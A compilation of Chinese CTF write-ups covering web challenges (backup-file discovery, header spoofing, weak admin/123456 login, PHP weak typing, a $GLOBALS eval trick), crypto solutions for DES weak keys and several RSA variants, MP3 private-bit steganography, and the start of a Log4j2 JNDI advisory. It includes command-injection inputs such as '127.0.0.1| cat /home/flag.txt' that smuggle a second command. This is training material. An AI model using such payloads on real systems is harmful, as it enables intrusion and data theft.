  19. 一、查找备份文件1.通过https://github.com/maurosoria/dirsearch进行目录扫描python3 dirsearch.py -u http://10.10.10.175:32770 -e *2.最终获得index.php.bk备份文件,然后下载下来查看源码,即可获得flagflag为:Cyberpeace{855A1C4B3401294CB6604CCC98BDE334} 二、隐藏在cookie中的flag1.通过抓包工具对IP访问进行抓取http头部信息,发现cookie中包含信息:Cookie: look-here=cookie.php2.然后访问网址:http://220.249.52.133:41440/cookie.php,显示文字提示See the http response,说明flag有可能在响应包中3.对网址http://220.249.52.133:41440/cookie.php,进行请求,查看响应包,可看到flag信息4.最终flag为:cyberpeace{71de0ba3c98781d7f78c4af6e5b684be} 三、隐藏在按钮下的flag1.打开网址,http://220.249.52.133:52359/,发现按钮灰色,提示不能使用,这时候通过f12进行元素审核2.删除 disabled="" ,然后点击按钮即可获得flag3.最终flag为:cyberpeace{e61ed8f7f37f036a89f6d3c5622bb8e9}四、弱密码获得flag1.打开网址:http://220.249.52.133:35249/ 2.输入用户名admin,123456,即可登录到系统,并获得flag3.最终flag为:cyberpeace{a136364c15e239b4f32b99d2d23e42ce} 三、简单的文件包含审计获得flag<?php show_source(__FILE__); include("config.php"); $a=@$_GET['a']; $b=@$_GET['b']; if($a==0 and $a){ echo $flag1; } if(is_numeric($b)){ exit(); } if($b>1234){ echo $flag2; } ?>这段php代码的意思是,通过get方法得到a和b的值,然后如果$a==0 并且$a为真,得到flag1,如果b是整数或者数字字符串,就退出,然后如果$b>1234就得到flag2. 基础知识:(掌握php弱类型比较)php中其中两种比较符号: ==:先将字符串类型转化成相同,再比较 ===:先判断两种字符串的类型是否相等,再比较 字符串和数字比较使用==时,字符串会先转换为数字类型再比较 var_dump('a' == 0);//true,此时a字符串类型转化成数字,因为a字符串开头中没有找到数字,所以转换为0 var_dump('123a' == 123);//true,这里'123a'会被转换为123 var_dump('a123' == 123);//false,因为php中有这样一个规定:字符串的开始部分决定了它的值,如果该字符串以合法的数字开始,则使用该数字至和它连续的最后一个数字结束,否则其比较时整体值为0。 var_dump('root' == 0); var_dump('22r22oot' == 22); //true,先将字符串22r22oot转化成和0同等类型即数字型,因为字符串开始有合法数值,则取其连续的合法数值22,r后面的22因为与开始的合法数值不连续,所以不取它的值,22==22,所以成立。 var_dump('root22' == 0); //true,先将字符串root22转化成和0同等类型即数字型,因为字符串开始没有合法数值,则字符串root22转换为0,最后0==0,所以成立。 var_dump('0e170' == '0e180');//true,因为字符串中含有e开头的值,那么php代码会将其整体看成科学记数法,最后0的170次方==0的180次方,即0==0,所以成立 var_dump(0 === 'root');//fals,=== 在进行比较的时候,会先判断两边类型是否相等,这里数值和字符串类型明显不等,因此不成立 var_dump ("0e830400451993494058024219903391" == "0e830400451993494058024219904444");//true,先将字符串0e830400451993494058024219903391与0e830400451993494058024219904444分别转化成数字型,因为两个字符串开始都有合法数值,则字符串0e830400451993494058024219903391转换为0,字符串0e830400451993494058024219904444转换为0,最后0==0,所以成立。 var_dump("123.a1bc"==123);//truevar_dump("123.2abc"==123);//falsevar_dump("123e2abc"==123);//falsevar_dump("123ea1bc"==123);//true开始部分存在数字,若连续的数字中包含.或e或E会干扰字符串和数字的比较,因为.就表示了浮点数,e和E表示了科学计数法,只要字符串中包含这些,上面所说的比较就不能理想地实现字符串的开始部分决定了它的值,如果该字符串以合法的数值开始,则使用该数值,否则其值为01.打开页面,进行代码审计,发现同时满足 $a==0 和 $a 时,显示flag1。 2.php中的弱类型比较会使’abc’ == 0为真,所以输入a=c时,可得到flag1,如图所示。(abc可换成任意字符)。 http://220.249.52.133:53517/index.php?a=abc 3.is_numeric() 函数会判断如果是数字和数字字符串则返回 TRUE,否则返回 FALSE,且php中弱类型比较时,会使(‘1234a’ == 1234)为真,所以当输入a=abc&b=1235a,可得到flag2,如图所示。 入a=abc&b=1235a,可得到flag2,如图所示。 http://220.249.52.133:53517/index.php?a=abc&b=12345f 四、post与get方式的flag1.构造get方式访问http://220.249.52.133:48752/index.php?a=12.然后按照页面提示,通过firefox中插件hackbar提交post数据,b=2,即可获得flag五、http头部伪绕过限制访问获得flag基础知识:xff是告诉服务器当前请求者的最终ip的http请求头字段 通常可以直接通过修改http头中的X-Forwarded-For字段来仿造请求的最终ipreferer就是告诉服务器当前访问者是从哪个url地址跳转到自己的,跟xff一样,referer也可直接修改 1.打开网址http://220.249.52.133:54968/,提示必须是源ip为123.123.123.123才能访问 2.通过抓包,在http头部添加xff伪造请求头,X-Forwarded-For: 123.123.123.123,然后访问,发现响应页面中包含,需要请求头为必须来自https://www.google.com访问,这里需要添加上,referer: https://www.google.com,然后访问可获得flag最终获得flag:cyberpeace{f116fe3f881eef96edaaf3159a3131f8} 六、远程命令执行获取flag基础知识: windows或linux下: command1 && command2 先执行command1,如果为真,再执行command2。 command1 | command2 只执行command2。 command1 & command2 先执行command2后执行command1。 command1 || command2 先执行command1,如果为假,再执行command21.输入IP地址,这里最好127.0.0.1,如果出现回显,则存在命令执行2.通过在后门加上命令:127.0.0.1| find / -name flag.txt 的文件目录,其目录为:/home/flag.txt3.使用命令127.0.0.1| cat /home/flag.txt,查看flag.txt的flag最终获得flag:cyberpeace{400f6c86f9dd25994afb930d13cc28b8} JS代码获得flag 进入环境后我们遇到了输入密码,于是我们随便输入一个密码,点击确定进行代码审计,发现不论输入什么都会跳到假密码,真密码位于 fromCharCode执行流程: 一、首先定义了一个dechiffre函数,咱先不管,因为还没有调用 注:先将\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30十六进制数转换成字符串,python下print即可,或网址:https://www.bejson.com/convert/ox2str/ 输出结果55,56,54,79,115,69,114,116,107,49,50 二、执行String["fromCharCode"](dechiffre("55,56,54,79,115,69,114,116,107,49,50 ")); 三、调用了dechiffre,执行dechiffre函数 String["fromCharCode"](dechiffre("55,56,54,79,115,69,114,116,107,49,50 ")); (1)先将"55,56,54,79,115,69,114,116,107,49,50 "带入dechiffre函数执行,即dechiffre(pass_enc)=dechiffre("55,56,54,79,115,69,114,116,107,49,50 ") (2)接着我们看到了pass变量,暂时先放着 (3)因为pass_enc="55,56,54,79,115,69,114,116,107,49,50" 将pass_enc字符串分割成字符串数组,赋值给tab参数,所以: tab=[55,56,54,79,115,69,114,116,107,49,50] 注:tab此时是字符串数组!!! (3)随后也对pass分割 tab2=[70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65] (4)变量赋值代码分析:var i,j,k,l=0,m,n,o,p = "";i = 0;j = tab.length; 一开始i,j,k,m,n,o,没有赋值,为undefined,其它参数l=0,p="",后来i被赋值=0,j被赋值为11 (5)第九行此时n被赋值为0,所以k=11+0+0,最后等于11 注:这里的(l)其中是英文字母l,不是数字1 (6)第十行中,n=18 (7)第一个for循环,精简一下代码: for(i = 0; i < (18); i++ ) {o = tab[i-l];p += String.fromCharCode((o = tab2[i])); if(i == 5)break;} 解释:前面的o=tab[i-1]是无用的,因为后面会被o=tab2[i]的值重新覆盖 第一次循环:o=tab[0];p=p+String.fromCharCode((o = tab2[0]) =>o=70;p=""+String.fromCharCode(70)=>p=英文字母F 第二次... 第三次... 第四次... 第五次... 所以,这个for循环,最后的p为(尽管没有输出出来,这里我们知道就好)FAUX P (8)第二个for循环,精简一下代码: for(i = 0; i < 18; i++ ){ o = tab[i-l]; if(i > 5 && i < 17) p += String.fromCharCode((o = tab2[i])); } 解释:这里的for循环和上面的差不多,注意这里的p值由于第一次for循环执行后现在已经是FAUX P了 加上第一次for循环的p值,最后的p为FAUX PASSWORD HAH (9)p += String.fromCharCode(tab2[17]); 因为tab2=[70,65,85,88,32,80,65,83,83,87,79,82,68,32,72,65,72,65] 所以:p=FAUX PASSWORD HAH + A 因此,最后的p为FAUX PASSWORD HAHA (10)pass = p;return pass; 即 pass = FAUX PASSWORD HAHA;return FAUX PASSWORD HAHA; 最后函数输出为FAUX PASSWORD HAHA 三、dechiffre函数执行完成后,继续执行其它的代码 h = window.prompt('Enter password'); alert( dechiffre(h) ); h=你输入弹框内的内容 之后alert弹出dechiffre(h)的值,由前面所有的代码可知,代码里p的值与tab无关,因为最终都会被tab2的值替代,所以我们无论输入什么,也就是pass_enc=h,无论输入的这个h等于什么,不管tab能否被分割成字符串数组,是否存在,都只会利用到tab2。通俗点讲,有关tab的参数与值都可以视为没有,因此,pass_enc参数是什么也就没有意义了 四、最后,结论就是,无论我们在弹框中输入什么值,都只会返回FAUX PASSWORD HAHA 我就猜想,会不会String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));这个语法错误,并且没有没计算出来的是不是最后正确的值,也就是flag~ 于是,我不用它这么无论pass_enc参数输入什么都显示FAUX PASSWORD HAHA的函数,咱也抛弃它一回,自己重新写代码执行它 <!DOCTYPE html> <html> <head> <meta charset="utf-8"> </head> <body> <script> var n=String.fromCharCode(55,56,54,79,115,69,114,116,107,49,50); document.write(n); </script> </body> </html> 最后结果为:786OsErtk12 通过python脚本将十六进制转成asic编码 a = [55,56,54,79,115,69,114,116,107,49,50] c = "" for i in a: b = chr(i) c = c + b print(c) 最终获得flag:Cyberpeace{786OsErtk12} 一、文件包含(修改全局变量) 题目: <?php include "flag.php"; $a = @$_REQUEST['hello']; if(!preg_match('/^\w*$/',$a )){ die('ERROR'); } eval("var_dump($$a);"); show_source(__FILE__); ?> writeup: 代码分析: include "flag.php"; $a = @$_REQUEST['hello']; if(!preg_match('/^\w*$/',$a )){//正则表达式^匹配一行的开头,$表示结束。\w表示匹配包括下划线的任何单词字符,等价于'[A-Za-z0-9_]'。*号:匹配前面的子表达式零次或多次。 die('ERROR'); } eval("var_dump($$a);");//var_dump — 打印变量的相关信息 show_source(__FILE__);//__FILE__当前运行文件的完整路径和文件名。 ?> 这个代码的作用是如果匹配正则表达式/^\w*$/,就打印变量$$a $a是hello,$$a是六位变量$hello 由于$a在函数中,所以函数之外无法访问。如果要访问,将hello修改为超全局变量GLOBALS。 在URL后加?hello=GLOBALS,将参数hello修改为Globals 实际执行语句:eval("var_dump($$a);")--->eval("var_dump($hello);")--->eval("var_dump($GLOBALS);")$GLOBALS的作用:引用全局作用域中可用的全部变量。 这样就会打印出当前定义的所有变量,也包括 include 的文件中的变量,flag 也存在在这些变量中。 2.我们通过URL进行传参 http://a7a380bd2f5c4ae3add25a7a518afc17fba46d89981f45fd.changame.ichunqiu.com/index.php?hello=GLOBALS 最终得到flag: flag{146918ba-01c6-47a3-bc16-0761da476df8}
  20. DES弱加密之easy_BlockCipher下载附件得到2个文件:https://adworld.xctf.org.cn/media/task/attachments/5b8bcb28546b4423b481b13149abc99f.zip 分析题目,题目中给出了加密时的代码。 des-ofb.py: from Crypto.Cipher import DES f = open('key.txt', 'r') key_hex = f.readline()[:-1] # discard newline f.close() KEY = key_hex.decode("hex") IV = '13245678' a = DES.new(KEY, DES.MODE_OFB, IV) f = open('plaintext', 'r') plaintext = f.read() f.close() ciphertext = a.encrypt(plaintext) f = open('ciphertext', 'w') f.write(ciphertext) f.close()可知加密时采用了DES算法,并且在OFB模式下对明文进行加密。 因此在已知 IV = ‘12345678’ 的情况下,只需要知道Key,即可对密文进行破解。 根据已知信息,仅有IV以及未知的Key,所以想到DES加密种存在弱密钥。在 DES 的计算中,56bit 的密钥最终会被处理为 16 个轮密钥,每一个轮密钥用于 16 轮计算中的一轮,DES 弱密钥会使这 16 个轮密钥完全一致,所以称为弱密钥。 其中四个弱密钥为: 0x0000000000000000 0xFFFFFFFFFFFFFFFF 0xE1E1E1E1F0F0F0F0 0x1E1E1E1E0F0F0F0F利用四组若密钥尝试对密文进行破解。 from Crypto.Cipher import DES f = open('ciphertext', 'r') ciphertext = f.read() f.close() IV = '13245678' KEY=b'\x00\x00\x00\x00\x00\x00\x00\x00' a = DES.new(KEY, DES.MODE_OFB, IV) plaintext = a.decrypt(ciphertext) print plaintext KEY=b'\x1E\x1E\x1E\x1E\x0F\x0F\x0F\x0F' a = DES.new(KEY, DES.MODE_OFB, IV) plaintext = a.decrypt(ciphertext) print plaintext KEY="\xE1\xE1\xE1\xE1\xF0\xF0\xF0\xF0" a = DES.new(KEY, DES.MODE_OFB, IV) plaintext = a.decrypt(ciphertext) print plaintext KEY="\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF" a = DES.new(KEY, DES.MODE_OFB, IV) plaintext = a.decrypt(ciphertext) print plaintext从得到的结果中得到明文为莎士比亚的一首诗。 或者脚本:#coding:utf-8 from Crypto.Cipher import DES import libnum ct=open('ciphertext','rb').read() KEY=libnum.n2s(0xe0e0e0e0f1f1f1f1) IV='13245678' a=DES.new(KEY,DES.MODE_OFB,IV) print a.decrypt(ct)最终得到flag:flag{_poor_single_dog_has_found_an_echo_from_it} RSA算法之special-rsa题目描述:在学习RSA算法时,我发现了一种和RSA具有同等安全性的算法。 对msg.txt加密得到了msg.enc。 $ python special_rsa.py enc msg.txt msg.enc 你能从flag.enc中恢复flag.txt么?下载附件,里面包含了4个文件,如下: https://adworld.xctf.org.cn/media/task/attachments/7a407f44a073442c91fd395b20594f01.zipflag.enc special_rsa.py msg.enc msg.txt 题目的思路是用隐藏的key解密flag.enc文件,阅读special_rsa.py文件加密和解密过程后,我做了简单的公式来找到隐藏的key。 伪代码如下: flag.sage: N = 23927411014020695772934916764953661641310148480977056645255098192491740356525240675906285700516357578929940114553700976167969964364149615226568689224228028461686617293534115788779955597877965044570493457567420874741357186596425753667455266870402154552439899664446413632716747644854897551940777512522044907132864905644212655387223302410896871080751768224091760934209917984213585513510597619708797688705876805464880105797829380326559399723048092175492203894468752718008631464599810632513162129223356467602508095356584405555329096159917957389834381018137378015593755767450675441331998683799788355179363368220408879117131L c1 = 14548997380897265239778884825381301109965518989661808090688952232381091726761464959572943383024428028270717629953894592890859128818839328499002950828491521254480795364789013196240119403187073307558598496713832435709741997056117831860370227155633169019665564392649528306986826960829410120348913586592199732730933259880469229724149887380005627321752843489564984358708013300524640545437703771424168108213045567568595093421366224818609501318783680497763353618110184078118456368631056649526433730408976988014678391205055298782061128568056163894010397245301425676232126267874656710256838457728944370612289985071385621160886 c2 = 12793942795110038319724531875568693507469327176085954164034728727511164833335101755153514030256152878364664079056565385331901196541015393609751624971554016671160730478932343949538202167508319292084519621768851878526657022981883304260886841513342396524869530063372782511380879783246034751883691295368172069170967975561364277514063320691930900258017293871754252209727301719207692321798229276732198521711602080244950295889575423383308099786298184477668302842952215665734671829249323604032320696267130330613134368640401070775927197554082071807605399448960911234829590548855031180158567578928333030631307816223152118126597 m1 = 8246074182642091125578311828374843698994233243811347691229334829218700728624047916518503687366611595562099039411430662968666847086659721231623198995017758424796091810259884653332576136128144958751327844746991264667007359518181363522934430676655236880489550093852524801304612322373542296281962196795304499711006801211783005857297362930338978872451934860435597545642219213551685973208209873623909629278321181485010964460652298690058747090298312365230671723790850998541956664376820820570709272500330966205578898690396706695024001970727864091436518202414166919020415892764617055978488996164642229582717493375419993187360 m2 = 15575051453858521753108462063723750986386093067763948316612157946190835527332641201837062951012227815568418309166473080588354562426066694924364886916408150576082667797274000661726279871971377438362829402529682825471299861814829463510659258586020732228351258291527965822977048954720558973840956731377322516168809373640494227129998871167089589689796024458501705704779109152762373660542684880052489213039920383757930855300338529058000330103359636123251274293258 r1 = 12900676191620430360427117641859547516838813596331616166760756921115466932766990479475373384324634210232168544745677888398849094363202992662466063289599443 r2 = 7718975159402389617924543100113967512280131630286624078102368166185443466262861344357647019797762407935675150925250503475336639811981984126529557679881059 _, a, b = xgcd(r1, r2) k = pow((c1/m1 % N), a, N) * pow((c2/m2 % N), b, N) print (k) 得到key: 175971776542095822590595405274258668271271366360140578776612582276966567082080372980811310146217399585938214712928761559525614866113821551467842221588432676885027725038849513527080849158072296957428701767142294778752742980766436072183367444762212399986777124093501619273513421803177347181063254421492621011961 得到key,解密flag.enc,得到答案: port msgpack def egcd(a, b): if a == 0: return (b, 0, 1) else: g, y, x = egcd(b % a, a) return (g, x - (b // a) * y, y) def modinv(a, m): g, x, y = egcd(a, m) assert g == 1 return x % m def pad_even(x): return ('', '0')[len(x)%2] + x def decrypt(c, k): out = '' for r_s, c_s in msgpack.unpackb(c): r = int(r_s.encode('hex'), 16) c = int(c_s.encode('hex'), 16) k_inv = modinv(k, N) out += pad_even(format(pow(k_inv, r, N) * c % N, 'x')).decode('hex') return out N = 23927411014020695772934916764953661641310148480977056645255098192491740356525240675906285700516357578929940114553700976167969964364149615226568689224228028461686617293534115788779955597877965044570493457567420874741357186596425753667455266870402154552439899664446413632716747644854897551940777512522044907132864905644212655387223302410896871080751768224091760934209917984213585513510597619708797688705876805464880105797829380326559399723048092175492203894468752718008631464599810632513162129223356467602508095356584405555329096159917957389834381018137378015593755767450675441331998683799788355179363368220408879117131 k = 175971776542095822590595405274258668271271366360140578776612582276966567082080372980811310146217399585938214712928761559525614866113821551467842221588432676885027725038849513527080849158072296957428701767142294778752742980766436072183367444762212399986777124093501619273513421803177347181063254421492621011961 print decrypt(open("flag.enc").read(), k) 最终得到flag: Flag: BCTF{q0000000000b3333333333-ju57-w0n-pwn20wn!!!!!!!!!!!!} 题目描述:It seems easy, right?Tip: openssl rsautl -encrypt -in FLAG -inkey public.pem -pubin -out flag.enc 题目给了一个flag.enc,还有一个public.pem,附件下载地址: https://adworld.xctf.org.cn/media/task/attachments/9244cc370caa43f491636f8c4670fe7d.zip 安装openssl可以读取到n和e,因为n不大,可以在yafu或者factordb.com上分解得到n = p * q * r 根据flag.enc,可以得到密文m 根据中国剩余定理,我们要求得m在p,q,r下的余数,不妨设为pmod,qmod,rmod 然后根据模三次剩余,即:proot ^ 3 ≡ pmod ( mod p),求得:proot,同理求得qroot,rroot 利用网页工具可以直接计算得到: http://www.wolframalpha.com/input/?i=x%5E3+%3D+19342563376936634263836075415482+(mod+27038194053540661979045656526063) 我们从openssl命令行得到一个似乎是通过RSA加密的密文。我们还可以访问公钥,因此我们像使用标准RSA密码一样,通过恢复参数来执行以下操作: e = 3 n = 23292710978670380403641273270002884747060006568046290011918413375473934024039715180540887338067 使用YAFU,我们将模量分为: p = 26440615366395242196516853423447 q = 27038194053540661979045656526063 r = 32581479300404876772405716877547 我们得到三个质数。这仍然是好的,这可能只是多质RSA。这一点也不奇怪,总的来说很简单(p-1)(q-1)(r-1),其余的计算照常进行。但它不存在,因为我们发现模乘逆不存在。原因很明显:gcd(e,to客户端)=3,应该是1。这不是我们第一次遇到类似的情况(如https://github.com/p4-team/ctf/tree/master/2015-10-18-hitcon/crypto 314-u rsabin-35;eng版本),所以我们对如何处理这个问题有了一些想法。 在应用RSA解码之前,我们需要去掉这3个。这意味着加密是: ciphertext = plaintext^e mod n = (plaintext^e')^3 mod n 所以如果我们能形成方程两边的模三次根(mod n),我们就可以用e'=e/3进行RSA译码。因为e=3,所以e'=e/3=1,所以这里并不容易,这意味着我们的加密是简单的: ciphertext = plaintext^3 mod n 所以整个解密过程需要密文中的模立方根(mod n)。 一些关于模根的阅读使我们得出结论,这是可能的,但只有在有限的领域。所以它不能对n做,这是一个复合数,我们知道它是,因为它是pqr。 这个问题让我们想起了中文提醒定理( https://en.wikipedia.org/wiki/Chinese_remainder_theorem ),我们考虑了一会儿,我们想到了一个想法,如果我们能从密文(mod prime)中计算出3个素数的三次模根,我们就能计算出合并根。我们可以用高斯算法(http://www.di-mgt.com.au/crt.html#gaussalg)来实现这一点。 所以我们继续计算: pt^3 mod p = ciperhtext mod p = 20827907988103030784078915883129 pt^3 mod q = ciperhtext mod q = 19342563376936634263836075415482 pt^3 mod r = ciperhtext mod r = 10525283947807760227880406671000 然后我们花了一段时间来解决pt的这个方程,最后我们发现wolframalpha实现了这个功能,例如: http://www.wolframalpha.com/input/?i=x^3+%3D+20827907988103030784078915883129+%28mod+26440615366395242196516853423447%29 这给了我们一套可能的解决方案: roots0 = [5686385026105901867473638678946, 7379361747422713811654086477766, 13374868592866626517389128266735] roots1 = [19616973567618515464515107624812] roots2 = [6149264605288583791069539134541, 13028011585706956936052628027629, 13404203109409336045283549715377] 我们对这些根应用高斯算法: # -*- coding:utf-8 -*- # 0CTF 2016: RSA? (Crypto 2pt) ''' # openssl rsa -in public.pem -pubin -text -modulus Public-Key: (314 bit) Modulus: 02:ca:a9:c0:9d:c1:06:1e:50:7e:5b:7f:39:dd:e3: 45:5f:cf:e1:27:a2:c6:9b:62:1c:83:fd:9d:3d:3e: aa:3a:ac:42:14:7c:d7:18:8c:53 Exponent: 3 (0x3) Modulus=2CAA9C09DC1061E507E5B7F39DDE3455FCFE127A2C69B621C83FD9D3D3EAA3AAC42147CD7188C53 writing RSA key -----BEGIN PUBLIC KEY----- MEEwDQYJKoZIhvcNAQEBBQADMAAwLQIoAsqpwJ3BBh5Qflt/Od3jRV/P4Seixpti HIP9nT0+qjqsQhR81xiMUwIBAw== -----END PUBLIC KEY----- ''' # Chinese Remainder Theorem def chinese_remainder(n, a): sum = 0 prod = reduce(lambda a, b: a*b, n) for n_i, a_i in zip(n, a): p = prod / n_i sum += a_i * mul_inv(p, n_i) * p return sum % prod def mul_inv(a, b): b0 = b x0, x1 = 0, 1 if b == 1: return 1 while a > 1: q = a / b a, b = b, a%b x0, x1 = x1 - q * x0, x0 if x1 < 0: x1 += b0 return x1 e = 3 n = 0x2CAA9C09DC1061E507E5B7F39DDE3455FCFE127A2C69B621C83FD9D3D3EAA3AAC42147CD7188C53 # Factorize n using factordb.com p = 26440615366395242196516853423447 q = 27038194053540661979045656526063 r = 32581479300404876772405716877547 assert p * q * r == n ct = int(open("flag.enc", "rb").read().encode("hex"), 16) # ct = 2485360255306619684345131431867350432205477625621366642887752720125176463993839766742234027524 # pt^3 mod p = ct mod p = 20827907988103030784078915883129 # pt^3 mod q = ct mod q = 19342563376936634263836075415482 # pt^3 mod r = ct mod r = 10525283947807760227880406671000 # Calculate possible cube-root # using wolflam alpha (or using modified Tonelli-Shanks algorithm) # like this: "x^3 = 20827907988103030784078915883129 (mod 26440615366395242196516853423447)" p_root = [5686385026105901867473638678946, 7379361747422713811654086477766, 13374868592866626517389128266735] q_root = [19616973567618515464515107624812] r_root = [6149264605288583791069539134541, 13028011585706956936052628027629, 13404203109409336045283549715377] # For every compination of roots, mix them using Chinese Remainder Theorem for x in p_root: for y in q_root: for z in r_root: m = chinese_remainder([p, q, r], [x, y, z]) pt = hex(m)[2:-1] if len(pt) % 2 != 0: pt = "0"+pt pt = pt.decode("hex") if pt.find("0ctf{") >= 0: # Get the flag print pt.strip() break最终flag:0ctf{HahA!Thi5_1s_n0T_rSa~} RSA解密之babyRSA11.下载附件,发现有3个文件: https://adworld.xctf.org.cn/media/task/attachments/5a456b6a66c04c02bf754d540e5b531d.zip 在挑战中,我们获得代码,公钥和结果。 加密相当简单: GF(2^2049) def encrypt(m): global n assert len(m) <= 256 m_int = Integer(m.encode('hex'), 16) m_poly = P(R.fetch_int(m_int)) c_poly = pow(m_poly, e, n) c_int = R(c_poly).integer_representation() c = format(c_int, '0256x').decode('hex') return c看来n这是GF(2)上的PolynomialRing的多项式。加密基本上将消息更改为GF(2 ^ 2049)的元素,然后将其表示为环P的元素,然后将该消息的多项式表示形式提高为emod多项式的幂n。 所以,它真的可以归结为经典的RSA,与小搓那m和n现在是多项式,一切都在PolynomialRing在GF(2)calcualted。 我们发现了一篇很好的论文,描述了这个想法:www.diva-portal.se/smash/get/diva2:823505/FULLTEXT01.pdf(Izabela Beatrice Gafitoiu的理学学士学位论文)。 如果遵循此论点,我们会发现在这种情况下,d解密指数可以计算为emod的模乘逆s。特殊值s是等效的phi,从经典RSA,并且基本上是(2^p_d-1)(2^q_d-1)其中p_d和q_d正度多项式的p和q,使得p*q == n。 所以这个想法很简单: 1、因子多项式n成p和q 2、计算 s 3、计算 d 4、解密标志 Integer(m.encode('hex'), 16) m_poly = P(R.fetch_int(m_int)) c_poly = pow(m_poly, d, n) c_int = R(c_poly).integer_representation() c = format(c_int, '0256x').decode('hex') return c if __name__ == '__main__': p,q = n.factor() p,q = p[0],q[0] s = (2^p.degree()-1)*(2^q.degree()-1) d = inverse_mod(e,s) with open('flag.enc', 'rb') as f: ctext = f.read() print(decrypt(ctext,d))最终得到flag:flag{P1ea5e_k33p_N_as_A_inTegeR~~~~~~} AES解密之in-plain-sight题目描述:这次的挑战并不难:你只需要对隐藏的密文进行解密。为了让解密更加简单,我会给你除了HiddenCiphertext以外你需要的所有东西,你要做的就是自己将密文找出来! 你需要: 算法:AES-256-CBC 密钥:c086e08ad8ee0ebe7c2320099cfec9eea9a346a108570a4f6494cfe7c2a30ee1 IV:0a0e176722a95a623f47fa17f02cc16a 通过网站,https://morsecode.world/international/decoder/audio-decoder-adaptive.html(音频解密器)得到C1和C2的值 C1:4314251881242803343641258350847424240197348270934376293792054938860756265727535163218661012756264314717591117355736219880127534927494986120542485721347351C2:485162209351525800948941613977942416744737316759516157292410960531475083863663017229882430859161458909478412418639172249660818299099618143918080867132349利用openssl对两个公钥进行解密,得到n1n2和e1e2: import gmpy2 import libnum n1 = gmpy2.mpz(10285341668836655607404515118077620322010982612318568968318582049362470680277495816958090140659605052252686941748392508264340665515203620965012407552377979) n2 = gmpy2.mpz(8559553750267902714590519131072264773684562647813990967245740601834411107597211544789303614222336972768348959206728010238189976768204432286391096419456339) e1 = 41221 e2 = 41221 p = gmpy2.gcd(n1,n2) q1 = n1 / p q2 = n2 / p c1 = 4314251881242803343641258350847424240197348270934376293792054938860756265727535163218661012756264314717591117355736219880127534927494986120542485721347351 c2 = 485162209351525800948941613977942416744737316759516157292410960531475083863663017229882430859161458909478412418639172249660818299099618143918080867132349 phin1 = (p - 1)*(q1 - 1) phin2 = (p - 1)*(q2 - 1) d1 = gmpy2.invert(e1,phin1) d2 = gmpy2.invert(e2,phin2) print(libnum.n2s(pow(c1,d1,n1))+libnum.n2s(pow(c2,d2,n2)))最终得到flag:UNCTF{ac01dff95336aa470e3b55d3fe43e9f6} 题目描述:安全分析人员截获间谍发出的秘密邮件,该邮件只有一个mp3文件,安全人员怀疑间谍通过某种private的方式将信息传递出去,尝试分析该文件,获取藏在文件中的数据。 flag形式为 flag{} 题目附件连接: https://adworld.xctf.org.cn/media/task/attachments/206c0533300340b19c3a18d82d806a98.mp3 解题步骤: 题目提示文件使用了private加密信息,在010Editor中打开mp3文件,发现存在private bit,因此,只需要提取每一个mf组中的该字节,组合起来,就是答案。可以从图中看到 ms 开始位为1 C1B8H,即第115128字节,如图所示:,如图所示: uint32 frame_sync : 12 uint32 mpeg_id : 1 uint32 layer_id : 2 uint32 protection_bit : 1 uint32 bitrate_index : 4 uint32 frequency_index : 2 uint32 padding_bit : 1 uint32 private_bit : 1 uint32 channel_mode : 2 uint32 mode_extension : 2 uint32 copyright : 1 uint32 original : 1 uint32 emphasis : 2 12+1+2+1+4+2+1+1+2+2+1+1+2=32,即总共4字节,private_bit 为24,所在的字节为第3个字节因此要从前一个,即第二个字节开始提取内容,该字节对应的地址为 115130观察每一个mf组,大小都为414h,即1044字节,因此可以得到以下脚本: # coding:utf-8 import re import binascii n = 115130 result = '' fina = '' file = open('flag-woody.mp3','rb') while n < 2222222 : file.seek(n,0) n += 1044 file_read_result = file.read(1) read_content = bin(ord(file_read_result))[-1] result = result + read_content textArr = re.findall('.{'+str(8)+'}', result) textArr.append(result[(len(textArr)*8):]) for i in textArr: fina = fina + hex(int(i,2))[2:].strip('\n') fina = fina#.decode('hex') print (fina) 将得到的字符串 464c41477b707231763474335f6269377d25a1cedc3e69888894dac4dd3a87c5e1c5276fa6d626832148d39288a0c596c95abaac3f09f9f524647595ae4894f9b82b3f4c1b47537c365d8d69d84a353c1a93ae436761d430e666e4111752d479746d1828f9c07c27ab1c3eaf1948f8a9e839b280a4342f321e89eb73b237a2b55d5310b77811c0975cfc1365e146f6c9212e244751398f73c17ee1a6664b4fd712d4b0a297275fa471fb65e440bc7bdc12fb0a39d81a1d374f2d55b8faabf9bf2c342f1046fbab7e66ac7896ffac672d277b89f8606759a8ac21a58fbb4b9b51d45f126a7f67c1a297e1fcb638356ec739b89555568816 转换对应的ASCII码,得到Flag: 最终 flag:flag{pr1v4t3_bi7}
  21. 0x00 漏洞描述Apache Log4j 是 Apache 的一个开源项目,Apache Log4j2是一个基于Java的日志记录工具。该工具重写了Log4j框架,并且引入了大量丰富的特性。我们可以控制日志信息输送的目的地为控制台、文件、GUI组件等,通过定义每一条日志信息的级别,能够更加细致地控制日志的生成过程。该日志框架被大量用于业务系统开发,用来记录日志信息。 Log4j-2中存在JNDI注入漏洞,当程序将用户输入的数据被日志记录时,即可触发此漏洞,成功利用此漏洞可以在目标服务器上执行任意代码。鉴于此漏洞危害较大,建议客户尽快采取措施防护此漏洞 0x01 影响范围Apache Log4j 2.x < 2.15.0-rc2 已知受影响组件 1、Apache Struts2 2、Apache Solr 3、Apache Flink 4、Apache Druid 5、ElasticSearch 6、flume 7、dubbo 8、Redis 9、logstash 10、kafka 11.vmvare12.Spring-Boot-strater-log4j20x02 环境搭建一、linux环境搭建linxu环境下目前 Vulfocus 已经集成 Log4j2,可通过以下链接启动在线环境测试: http://vulfocus.fofa.so/#/dashboard?image_id=3b8f15eb-7bd9-49b2-a69e-541f89c4216c 也可通过 docker pull vulfocus/log4j2-rce-2021-12-09:latest 拉取本地环境运行启动dokcer环境docker run -d -p 8080:8080 vulfocus/log4j2-rce-2021-12-09:latesthttp://192.168.1.4:8080/二、win 